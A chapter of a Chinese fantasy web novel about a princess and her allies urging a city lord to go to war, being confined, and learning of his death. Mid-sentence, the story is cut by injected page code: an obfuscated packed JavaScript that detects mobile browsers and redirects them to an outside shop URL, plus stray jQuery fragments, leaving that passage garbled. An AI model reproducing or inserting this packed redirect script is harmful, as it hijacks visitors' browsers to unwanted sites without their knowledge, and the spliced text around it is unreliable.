第二日一早,天光微亮,他们就风风火火地前往杀梅殿,那里本是城主议事的殿堂,这时只能由少主代位主持。
见到白雪前,宁冲又是一副心神不宁暴躁的模样。
“怎么又是你们?!又想说什么?”他坐在虎椅上,不耐烦地开口。
“我对你没有什么好说的,我要见城主!”宁婵答道。
“三妹,你又在闹什么?”宁冲耐心有限,下令门外的侍卫将他们带走。
杨环清立马从怀中掏出一枚乌啼城主令牌,高高举起,大声道:“我乃乌啼少主,今奉乌啼城主口令,特来拜见九官城主大人,劳烦少主殿下请出城主!”
此话一出,宁冲便改了神色,犹豫不决时,身边的小太监又走近对他耳语几句,他皱了皱眉,只得吩咐左右侍女前去请城主过来。
过了好一会儿,城主才坐着轿撵悠悠而来,他的状态看起来好了许多,想必晏清对他的折磨有所减轻。
宁青刚一到,众人齐齐跪下行礼,宁冲立马从上方的虎椅中走下来,快步迎接着扶他坐上去。
“都起来吧。”宁青刚道,又看了看杨环清,“乌啼少主前来,所为何事?”
“回禀城主,家父口令,乌啼城愿出兵八万,助九官城共击莱鸢!”
杨环清清脆嘹亮的声音在大殿中回响,激荡着在场每个人的心。
唯有一人慌了神。
只见宁冲脸色大变,怒不可遏地就要朝杨环清冲过去,却被宁青刚喝住。
“冲儿,不得无礼。”宁青刚气定神闲,饶有兴致地望着一脸坚定的杨环清,“回去告诉杨城主,边境和平,九官城没有什么打战的想法,毕竟战争劳民伤财,我作为城主,自然是不愿百姓陷入水火之中!”
“那莱鸢呢?游陶之年少轻狂、狼子野心,他怎么可能不开战!唇亡齿寒,乌啼与九官本是一体,三十年前南部都属于孟国辖地,应当合作起来,共同抵抗莱鸢才是!”
“哈哈哈哈哈哈,”宁青刚大笑,摆了摆手,不屑地道,“孟国?早是老黄历了!游陶之那小儿能有什么本事,让你们乌啼如此担惊受怕?”
一旁的宁冲也接腔嘲笑道:“杨少主还是请回吧!我看少主一身素衣,不如走之前赠你几套金丝服饰吧。你们乌啼就算人少地偏,也该多努力发展发展,出城使节如此寒酸,这不是故意出笑话吗?!”
“宁冲,你不要狗眼看人低!”宁婵忍不住骂道,却被座上的宁青刚横了一眼。
杨环清脸色发青,强忍着怒火行了个礼道:“我出来的急,家父也是忧心忧民,一刻不容缓地派我来此商议,不曾注重仪表服饰。既然你们九官城如此强大、毫不畏惧,那我乌啼城的居安思危也不过是杞人忧天,我告辞了!愿上苍开眼,保佑乌啼。”
他加重了“开眼”两个字,说完便走。引得宁青刚皱眉不悦,胸口起伏,接着不停地咳嗽起来,宁冲跑过去给他拍背顺气,殿中一时混乱。
“杨环清!请等等!”卢弦惊忍不住喊道。
一只脚已经迈出门去的杨环清听到声音后,转身疑惑地望她。
只见卢弦惊与宁婵对视一眼,齐齐向宁青刚行礼道:
“城主!此战不得不打!”
宁婵接着道:“边境来信,莱鸢已虎视眈眈,军队往前线靠拢,战争一触即发!恳请城主下令,让我携十万士兵前往羽都,保卫城池和百姓!”
“保卫个屁!羽都那个破地方,人又少又穷,今年的税分文未纳,被屠了也活该!”宁冲大骂,又转身对宁青刚道,“父亲!你那似梅园还有半个月就能装修完工,到时候设宴饮酒,风月无边,我殿中又新进了一批美人,早早安排进了园中……”
宁婵捏紧了拳头,恨得牙痒痒,杨环清更是怒目圆睁,甩了甩头离开了大殿,任谁也喊不回来。
“城主!”卢弦惊刚想开口,又被打断。
“不要闹了!卢姑娘,我是看在你父亲的面子上容忍你们胡闹至今!”宁青刚坐直身子,轻蔑地瞥了一眼白雪前,又将目光挪到宁婵身上,“宁婵,边境的消息我都不知道,你是如何得知的?”
宁婵不说话,宁冲见她吃瘪便拱火道:“父亲!三妹手握兵权,事关重大,恐怕天下事她无所不知了!”
宁青刚眯起眼,狠毒的话语犹如利箭射下:“胡闹!宁婵,你的胆子越来越大了!从今日起我便收回你的兵权,你给我回描梅殿好好面壁思过去!还有你们,再找不出解决我的梦魇症的办法,格杀勿论!”
“父亲!我十岁那年,您夸耀我武艺高强、领兵有方,赐给了我兵权!您忘记了吗?!您说我是作战的天才……您说有我管着兵权定能让九官城更加强大……这些都是您说的!父亲!”
宁婵吼叫道,她乱了分寸,语调悲凉,一声又一声的父亲企图能唤回他的良知。
而上方的男人不为所动,冷笑一声道:“你还知道我是你的父亲!这个城邦还是我说了算!”
权力这个东西,太可怕了,让父亲变成刽子手,让女儿变成羔羊。
宁婵不可置信,身边围上层层侍卫,她起先挣扎着,后又清醒过来如行尸走肉般被送回了描梅殿。
大门轰的一声关上,门外重兵把守。
卢弦惊和白雪前他们也被挟持着送回,满眼嘲讽,满腹不解,满身落魄。
出兵一事就此作罢,他们站在这空荡荡的殿中,快到中秋,凉风送爽,他们感受到的只有彻骨的冰冷。
经此一遭,白雪前心中度量一番也有了主意,开口道:“宁婵公主,我已决心放过晏先生,所有的代价我来背负,只愿您和晏先生能保卫好无辜的百姓!”
宁婵和卢弦惊的视线同时转过来,卢弦惊忍不住点头,宁婵却笑了,一滴泪涌出眼眶,浑身犹如落水之人,不再求生,亦难求死。
“傻孩子,别难过。为师给你演示一段枪捣黄龙,定让你眉开眼笑!”晏清突然出现在眼前,笑呵呵地安慰宁婵道。
他手握一把老旧破烂的长枪,身姿矫健,出枪迅速,布袍崭新,犹能想象出当年的雄姿英发。
宁婵破涕为笑,又急忙关心道:“晏伯!当心你的腰!”
话还没说完,晏清就差点跌倒,白雪前和卢弦惊赶忙上前扶住他,一左一右,被晏清直夸“好孩子”。
“我这老腰,酸疼酸疼的,已经习惯了!”晏清笑道,又摆了好几个姿势,表现出毫不在意的模样。
片刻后他也累了,宁婵便去扶着他走进殿中,坐下休息。
“这把老枪,您还留着呢!”宁婵接过晏清手中的枪,忍不住道。
“那是自然!这把枪陪着我歼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679100|207626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灭了数个傀儡人!让那祝翀小儿优势尽散,说到这祝翀啊,真是个可怕的对手……”
晏清滔滔不绝地说起来,宁婵给她倒了杯梅茶,也坐下来休息着。
卢弦惊和白雪前各自回了卧房,分别时白雪前对她说道:“阿弦,不自量力的从来不是你,我永远会支持你、相信你!”
卢弦惊顿住,喃喃问道:“为什么这么说?”
“因为我知道,你永远值得。”
日头暖暖,斜斜阳光倾撒而下,照耀着四棵梅树犹如闪烁着点点泪珠,卢弦惊感觉自己变得越来越柔软,身体越缩越小,深深埋进尘土中,那里有取之不尽的力量,亦是永不消失的后盾。
她伸出手想要与白雪前相握,却又在他把手伸过来时猛地缩回,乘其不备快速在他腰侧挠了一下。
“干嘛说这么肉麻的话!看我不挠你的痒痒肉!”
君子报仇,十年不晚,弦惊报仇,三日正好。白雪前一脸无奈,笑着看她蹦蹦跳跳地远去,背影一如既往地□□恣意。
他不禁想起了钟馗对卢弦惊的评价,她是疾风劲草般的人,生命力蓬勃旺盛,风吹雨打,越磨越盛。
“流苏,你不杀她了吗?你想追上她吗?你又能护住她吗?”
白雪前站在屋檐下许久,脑海里唯有钟馗先生的这几句质问。梅树上有鸟雀惊叫,让他回神。
冬天就快来了......
纵使思念数载,忧心万般,我不敢贸然。
他长叹一口气,摇摇头,也走回了自己的卧房。
禁足之令明显限制了大家的自由,唯有白雪前和晏清能自由出入描梅殿,方生方死更不必说,早出晚归,毫无顾忌。他们似乎一直在秘密行动着什么,对此卢弦惊一概不知。
边境消息不通,兵营情况不明,羽都百姓难测,大家每日的心情都很沉重,盼着事情能有转机,亦日日夜夜做足了十全的准备。
卢弦惊早早将杨环清托付她的事情告诉了鱼轻鸿、卢亭默和周旋久,鱼轻鸿二话不说便表示支持,周旋久也点头道好,唯有卢亭默面色不虞反对连连,每日劝诫卢弦惊不要这么做,直到知晓城主的禁令才作罢。
而她与宁婵日夜练武斗武,琢磨边境地图,广阅兵书谋文,提出一个又一个模拟计划,虚心接受晏清的教诲。
半个月过去,天气骤冷,城主的禁足令依旧未撤,局势已到了山穷水尽的地步。
这晚,白雪前与晏清照例从外边打探完消息回来,众人已齐候在殿中。
卢弦惊为他们倒了两杯梅茶,等着他们说话,一时却无人开口。
须臾,晏清老泪纵横,但口中大笑道:“死了!他死了!”
宁婵的身体犹如被定身般僵住,缓缓问道:“谁?”
“宁青刚!”
白雪前掏出死簿,灰黑色光芒如团雾般笼罩在簿子上,他挥袖拂散,纸张翻动定在一页,只见宁青刚三个大字赫然其上。
“宁冲要当城主了。”晏清笑够了,蓦地又开口,“一难离去,又一难袭来,唉!九官苦矣!”
宁婵捂住心口弯下腰去,无数涩泪珠串似的砸在地上,她缩起身子犹如一只受伤的幼犬,低声嘶吼着,渐渐地晕倒过去。
众人忙将她扶到床榻之上,月光笼罩下,今晚是难眠之夜。